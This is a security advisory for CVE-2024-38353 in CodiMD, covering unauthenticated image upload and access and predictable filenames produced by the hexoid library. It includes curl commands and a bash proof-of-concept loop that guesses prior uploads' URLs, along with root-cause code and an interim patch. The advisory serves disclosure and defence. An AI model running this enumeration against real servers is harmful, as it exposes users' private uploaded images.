This advisory details a missing authentication and access control vulnerability allowing an unauthenticated attacker to gain unauthorised access to image data uploaded to CodiMD. Due to the insecure random filename generation functionality in the underlying Formidable
library, filenames for uploaded images could be determined and the likelihood of this issue being exploited was increased.
This vulnerability was tested against the Filesystem
upload backend, though others such as minio
may also be vulnerable. Both the develop
branch from the git repository (commit d157fde6667185ab09125fa18317152eeef15fb4
) and the 2.5.3
release of CodiMD were affected. No official fix was available at the time of this advisory release.
CodiMD did not require authentication to access uploaded images or to upload new image data. An attacker who could determine an uploaded image’s URL could gain unauthorised access to uploaded image data. This vulnerability was discovered through incidental application usage.
CVE-2024-38353 has been assigned to these issues.
Missing Image Access Controls
No access control was applied to images uploaded to CodiMD, including images uploaded to private notes. This allowed an attacker with access to the upload link, either by exploiting the condition described in the Insecurely Randomised File Names section of this advisory or by obtaining a link through other means, to gain unauthorised access to uploaded image data. Additionally, no authentication was required to upload image data, allowing an unauthenticated attacker to upload malicious images and perform other attacks, such as attempting to exhaust all available disk space, creating a denial-of-service condition or hosting problematic content.
The following curl
command shows an example of an image being accessed with no authentication:
$ curl -i http://127.0.0.1:3000/uploads/3fc337e10f6c4173c4acc3c00.png
HTTP/1.1 200 OK
X-Powered-By: Express
Referrer-Policy: same-origin
…omitted for brevity…
Warning: Binary output can mess up your terminal. Use "--output -" to tell
The following curl
command shows an image being uploaded with no authentication:
$ curl -iF [email protected] http://127.0.0.1:3000/uploadimage
HTTP/1.1 200 OK
X-Powered-By: Express
…omitted for brevity…
{"link":"/uploads/0d8f485b3581aea8058a11c04.png"}
Insecurely Randomised Filenames
Filenames used for uploaded images were provided by the Formidable
library, which used the hexoid
library to create random filenames. The hexoid
library used an insecure random number generator (V8’s Math.random()
) to create a prefix followed by an incrementing suffix. This allowed an attacker to upload a file, determine the fixed upload prefix, and then obtain previously uploaded images. The prefix changed after 256 file uploads, or when the application server was restarted.
The following figures demonstrates this attack. First the attacker uploads an image file to obtain the server-side filename prefix:
curl -F [email protected] http://127.0.0.1:3000/uploadimage
{"link":"/uploads/2d96f57625841b8f5c35e7b06.png"}
The suffix shown in this example is “06”, the final two digits of the returned filename. The attacker could then works backwards with known valid mime types (detailed in lib/config/index.js
) to find previously uploaded files. The following script shows a proof-of-concept loop to try all mime types with predicted filenames:
for i in {0..5};
do for mime in jpeg png jpg gif svg bmp tiff;
do echo $i.$mime;
curl -sI 127.0.0.1:3000/uploads/2d96f57625841b8f5c35e7b0$i.$mime | head -1;
done;
done
0.jpeg
HTTP/1.1 404 Not Found
0.png
HTTP/1.1 200 OK
0.jpg
HTTP/1.1 404 Not Found
0.gif
HTTP/1.1 404 Not Found
0.svg
HTTP/1.1 404 Not Found
0.bmp
HTTP/1.1 404 Not Found
0.tiff
HTTP/1.1 404 Not Found
1.jpeg
HTTP/1.1 404 Not Found
1.png
HTTP/1.1 200 OK
1.jpg
HTTP/1.1 404 Not Found
1.gif
HTTP/1.1 404 Not Found
1.svg
HTTP/1.1 404 Not Found
1.bmp
HTTP/1.1 404 Not Found
1.tiff
HTTP/1.1 404 Not Found
2.jpeg
HTTP/1.1 404 Not Found
2.png
HTTP/1.1 404 Not Found
2.jpg
HTTP/1.1 200 OK
…omitted for brevity…
The following figure shows the 2d96f57625841b8f5c35e7b02.jpg
image discovered by the attacker:
Root Cause
The root cause of the insecure random filename issue was CodiMD’s use of the Formidable
library’s generated filenames. The following code snippet from lib/imageRouter/filesystem.js
shows the vulnerable code path:
19 /**
20 * pick a filename not exist in filesystem
21 * maximum attempt 5 times
22 */
23 function pickFilename (defaultFilename) {
24 let retryCounter = 5
25 let filename = defaultFilename
26 const extname = path.extname(defaultFilename)
27 while (retryCounter-- > 0) {
28 if (fs.existsSync(path.join(config.uploadsPath, filename))) {
29 filename = `${randomFilename()}${extname}`
30 continue
31 }
32 return filename
33 }
34 throw new Error('file exists.')
35 }
36
37 exports.uploadImage = function (imagePath, callback) {
38 if (!imagePath || typeof imagePath !== 'string') {
39 callback(new Error('Image path is missing or wrong'), null)
40 return
41 }
42
43 if (!callback || typeof callback !== 'function') {
44 logger.error('Callback has to be a function')
45 return
46 }
47
--> 48 let filename = path.basename(imagePath)
49 try {
50 filename = pickFilename(path.basename(imagePath))
51 } catch (e) {
52 return callback(e, null)
53 }
54
55 try {
--> 56 fs.copyFileSync(imagePath, path.join(config.uploadsPath, filename))
57 } catch (e) {
58 return callback(e, null)
59 }
60
61 let url
62 try {
63 url = (new URL(filename, config.serverURL + '/uploads/')).href
64 } catch (e) {
65 url = config.serverURL + '/uploads/' + filename
66 }
67
68 callback(null, url)
69 }
The imagePath
variable above was provided by the Formidable library, as shown in the following debugger output:
The filename was created by the Formidable library in PersistentFile.js
:
The newFilename
variable was assigned in Formidable.js
as shown in the following code snippet:
14
--> 15 const toHexoId = hexoid(25);
… omitted for brevity…
322 if (!this.options.filter(part)) {
323 return;
324 }
325
326 this._flushing += 1;
327
--> 328 const newFilename = this._getNewName(part);
329 const filepath = this._joinDirectoryName(newFilename);
330 const file = this._newFile({
331 newFilename,
332 filepath,
333 originalFilename: part.originalFilename,
334 mimetype: part.mimetype,
335 });
…omitted for brevity…
573 this._getNewName = (part) => {
--> 574 const name = toHexoId();
575
576 if (part && this.options.keepExtensions) {
577 const originalFilename = typeof part === 'string' ? part : part.originalFilename;
578 return `${name}${this._getExtension(originalFilename)}`;
579 }
580
581 return name;
582 }
583 }
The hexoid
library used by Formidable used the insecure Math.random()
function to generate the prefix and used an incrementing hexadecimal suffix (from 00
to ff
). The following snippet from hexoid/dist/index.js
shows the vulnerable algorithm:
var IDX=256, HEX=[];
while (IDX--) HEX[IDX] = (IDX + 256).toString(16).substring(1);
module.exports = function (len) {
len = len || 16;
var str='', num=0;
return function () {
if (!str || num === 256) {
str=''; num=(1+len)/2 | 0;
while (num--) str += HEX[256 * Math.random() | 0];
str = str.substring(num=0, len-2);
}
return str + HEX[num++];
};
}
Math.random()
is a known vulnerable RNG (https://codeql.github.com/codeql-query-help/javascript/js-insecure-randomness/ and https://github.com/d0nutptr/v8_rand_buster/); however, the bigger issue here was the incrementing suffixes and that the attacker could upload an image without authentication to discover the current fixed filename prefix.
Recommendations
No official fix was available for this vulnerability at the time of publication. The following interim fix can be used to reduce the likelihood of an attacker determining a valid filename; however, this will not address the unauthenticated image upload or unauthenticated image access.
The filesystem imageRouter
already implemented a secure random filename function based on crypto.randomBytes()
. The following change forces all uploaded files to use the CodiMD random filename logic rather than the vulnerable hexoid
implementation:
diff --git a/lib/imageRouter/filesystem.js b/lib/imageRouter/filesystem.js
index 49a811ef..dcdaedc7 100644
--- a/lib/imageRouter/filesystem.js
+++ b/lib/imageRouter/filesystem.js
@@ -16,24 +16,6 @@ function randomFilename () {
return `upload_${buf.toString('hex')}`
}
-/**
- * pick a filename not exist in filesystem
- * maximum attempt 5 times
- */
-function pickFilename (defaultFilename) {
- let retryCounter = 5
- let filename = defaultFilename
- const extname = path.extname(defaultFilename)
- while (retryCounter-- > 0) {
- if (fs.existsSync(path.join(config.uploadsPath, filename))) {
- filename = `${randomFilename()}${extname}`
- continue
- }
- return filename
- }
- throw new Error('file exists.')
-}
-
exports.uploadImage = function (imagePath, callback) {
if (!imagePath || typeof imagePath !== 'string') {
callback(new Error('Image path is missing or wrong'), null)
@@ -47,7 +29,7 @@ exports.uploadImage = function (imagePath, callback) {
let filename = path.basename(imagePath)
try {
- filename = pickFilename(path.basename(imagePath))
+ filename = randomFilename()
} catch (e) {
return callback(e, null)
}
Note: Knowledge of a specific URL (discretionary access control) should not be used as a replacement for robust authorisation and mandatory access controls. The patch detailed above provides additional security benefits as an interim hardening measure to reduce the likelihood of an attacker discovering uploaded image URLs.
Timeline
- 14/03/2024: Initial email sent to HackMD support
- 14/03/2024: Advisory uploaded to CodiMD Github Security page
- 25/03/2024: Requested confirmation of advisory receipt
- 28/03/2024: HackMD support confirm developers have recieved the advisory details
- 17/04/2024: Request for update
- 22/04/2024: HackMD support advise - “The development team has assessed the vulnerability you reported as a lower-priority issue. Security checks and inspections related to HackMD will continue. Thank you for your reporting.”
- 17/05/2024: Email sent advising 90-day disclosure period expiring in <30 days.
- 12/06/2024: The 90-day disclosure period ended. Advisory released.